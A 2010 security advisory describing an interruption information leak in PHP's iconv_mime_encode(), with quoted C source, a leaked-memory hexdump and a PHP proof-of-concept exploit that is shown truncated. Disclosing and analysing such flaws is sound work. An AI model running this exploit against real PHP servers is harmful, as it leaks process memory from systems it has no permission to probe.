MOPS-2010-034: PHP iconv_mime_encode() Interruption Information Leak Vulnerability

May 18th, 2010

PHP's iconv_mime_encode() function can be abused for information leak attacks, because of the call time pass by reference feature. This vulnerability also demonstrates that fixing zend_parse_parameters() is not enough to kill some of these vulnerabilities.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser's talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. Some of these vulnerabilties are only exploitable because of the call time pass by reference feature in PHP.

After the talk the PHP developers tried to remove the offending call time pass by reference feature but failed. The feature was only partially removed which means several exploits developed last year still worked the same after the fixes or just had to be slightly rewritten. One of these exploits exploits the iconv_mime_encode() function.

```
PHP_FUNCTION(iconv_mime_encode)
{
    ...

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ssla",
        &field_name, &field_name_len, &field_value, &field_value_len,
        &pref) == FAILURE) {

        RETURN_FALSE;
    }

    ...

    err = _php_iconv_mime_encode(&retval, field_name, field_name_len,
        field_value, field_value_len, line_len, lfchars, scheme_id,
        out_charset, in_charset);
```

Similar to the other interruption information leak vulnerabilities zend_parse_parameters() is used to retrieve up to three arguments into local variables. The only difference here is that the last parameter is an array unlike in all the other examples. For the two string parameters the same rule applies: copying the string pointers into local variables makes them vulnerable to any modification to the string ZVALs by an interruption attack. And again a __toString() method could be used to achieve that within zend_parse_parameters(). This is a repeating pattern that was also recognized by the PHP developers. Therefore their idea to fix all those information leak interruption vulnerabilities was to make the __toString() attack impossible. However iconv_mime_encode() is an example that shows why this is not sufficient. In order to realise that one has to check the code between parameter parsing and action.

```
if (zend_hash_find(Z_ARRVAL_P(pref), "line-break-chars", sizeof("line-break-chars"), (void **)&pp
    if (Z_TYPE_PP(ppval) != IS_STRING) {
        tmp_zv = **ppval;
        zval_copy_ctor(&tmp_zv);
        convert_to_string(&tmp_zv);

        lfchars = Z_STRVAL(tmp_zv);

        tmp_zv_p = &tmp_zv;
    } else {
        lfchars = Z_STRVAL_PP(ppval);
    }
}
```

The third parameter to iconv_mime_encode() is an array that is checked for some keys. These keys are then used to configure the encoder. One of these configuration options is a string that defines the line-break-chars. One can see that convert_to_string() is called to ensure it is actually a string. The problem is that this once again will call __toString() on an object in the array. And therefore the same

interruption information leak attack is possible again, although zend_parse_parameters() was fixed.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and leak a PHP hashtable. The hexdump of a hashtable looks like this.

Hexdump

00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41 ....AAAA
00000010: 00 00 00 00 00 00 00 00 F0 F2 B4 00 01 00 00 00 ....
00000020: F0 F2 B4 00 01 00 00 00 F0 F2 B4 00 01 00 00 00 ....
00000030: D0 0A B5 00 01 00 00 00 74 43 30 00 01 00 00 00 ....tC0.....
00000040: 00 00 01 -- -- -- -- -- -- -- -- -- -- -- -- -- ...

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly. Note that the method used here does not work on 64 bit Windows.

```
<?php
class dummy
{
   function __toString()
   {
      /* now the magic */
      parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
      return "";
   }
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
   $GLOBALS['var'] = str_repeat("A", 39);
} else {
   $GLOBALS['var'] = str_repeat("A", 67);
}

/* Trigger the Code */
$x = iconv_mime_encode("XXX", &$GLOBALS['var'], array("line-length" => 1000,"line-break-cha
$x = base64_decode(preg_replace("/^.*\?B\?(.*)\?=$/", "\\1", $x));
hexdump($x);

/* Helper function */
function hexdump($x)
{
   $l = strlen($x);
   $p = 0;
```

Notes

This vulnerability shows why fixing zend_parse_parameters() fixes only a symptom and not the problem.

We strongly recommend to fix this vulnerability by removing the call time pass by reference feature for internal functions correctly this time.